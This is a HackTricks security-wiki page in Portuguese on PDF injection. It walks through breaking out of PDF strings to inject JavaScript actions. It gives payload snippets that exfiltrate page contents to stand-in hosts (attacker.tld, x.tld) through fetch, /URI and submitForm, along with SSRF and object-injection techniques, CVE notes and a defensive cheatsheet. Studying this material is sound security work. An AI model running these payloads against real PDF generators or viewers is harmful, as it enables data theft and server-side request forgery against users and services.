PDF Injection

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript, realizar SSRF ou roubar o conteúdo do PDF. A sintaxe PDF é extremamente permissiva – se você conseguir sair da string ou dicionário que está incorporando sua entrada, pode adicionar objetos totalmente novos (ou novas chaves no mesmo objeto) que o Acrobat/Chrome irá analisar felizmente. Desde 2024, uma onda de relatórios de bug-bounty mostrou que um parêntese ou barra invertida não escapado é suficiente para a execução completa de scripts.

TL;DR – Fluxo de Ataque Moderno (2024)

  1. Encontre qualquer valor controlado pelo usuário que acabe dentro de uma (string de parênteses), /URI ( … ) ou campo /JS ( … ) no PDF gerado.
  2. Injetar ) (fechando a string) seguido por um dos primitivos abaixo e terminar com outro parêntese de abertura para manter a sintaxe válida.
  3. Entregar o PDF malicioso a uma vítima (ou a um serviço de backend que renderiza automaticamente o arquivo – ótimo para bugs blindos).
  4. Seu payload é executado no visualizador de PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (veja CVE-2024-4367)
  • Acrobat → API JavaScript Completa (pode exfiltrar conteúdos de arquivos arbitrários com this.getPageNthWord)

Exemplo (sequestro de link de anotação):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

O primeiro ) fecha a string URI original, em seguida, adicionamos um novo dicionário Action que o Acrobat executará quando o usuário clicar no link.

Primitivas de Injeção Úteis

ObjetivoTrecho de PayloadNotas
JavaScript ao abrir/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Executa instantaneamente quando o documento é aberto (funciona no Acrobat, não no Chrome).
JavaScript ao clicar no link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Funciona no PDFium & Acrobat se você controlar uma anotação /Link.
Exfiltração de dados cega<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Combine com this.getPageNthWord dentro do JS para roubar conteúdo.
SSRF do lado do servidorO mesmo que acima, mas direciona para uma URL interna – ótimo quando o PDF é renderizado por serviços de back-office que respeitam /URI.
Quebra de linha para novos objetos\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjSe a biblioteca permitir que você injete caracteres de nova linha, você pode criar objetos totalmente novos.

Truque de Enumeração Cega

Gareth Heyes (PortSwigger) lançou uma linha única que enumera todos os objetos dentro de um documento desconhecido – útil quando você não pode ver o PDF gerado:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

O código itera sobre o DOM do Acrobat e faz solicitações externas para cada par de propriedade/valor, fornecendo um despejo JSON-ish do arquivo. Veja o white-paper “Portable Data exFiltration” para a técnica completa.

Bugs do Mundo Real (2023-2025)

  • CVE-2024-4367 – Execução arbitrária de JavaScript no PDF.js do Firefox antes da versão 4.2.67 contornou o sandbox com uma ação /JavaScript manipulada.
  • Bug bounty 2024-05 – Uma fintech importante permitiu notas de fatura fornecidas pelo cliente que foram parar em /URI; o relatório pagou $10k após demonstrar SSRF para o host de metadados interno usando file:/// URI.
  • CVE-2023-26155 – Injeção de comando node-qpdf via caminho PDF não sanitizado mostra a importância de escapar barras invertidas e parênteses mesmo antes da camada PDF.

Cheatsheet Defensivo

  1. Nunca concatene entrada bruta do usuário dentro de strings ou nomes (). Escape \, (, ) conforme exigido pelo §7.3 da especificação PDF ou use strings hexadecimais <...>.
  2. Se você construir links, prefira /URI (https://…) que você totalmente codifique em URL; bloqueie esquemas javascript: em visualizadores de cliente.
  3. Remova ou valide dicionários /OpenAction, /AA (ações adicionais), /Launch, /SubmitForm e /ImportData ao processar PDFs.
  4. No lado do servidor, renderize PDFs não confiáveis com um conversor sem cabeça (por exemplo, qpdf –decrypt –linearize) que remove JavaScript e ações externas.
  5. Mantenha os visualizadores de PDF atualizados; PDF.js < 4.2.67 e Acrobat Reader antes de julho de 2024 permitem execução de código trivial.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks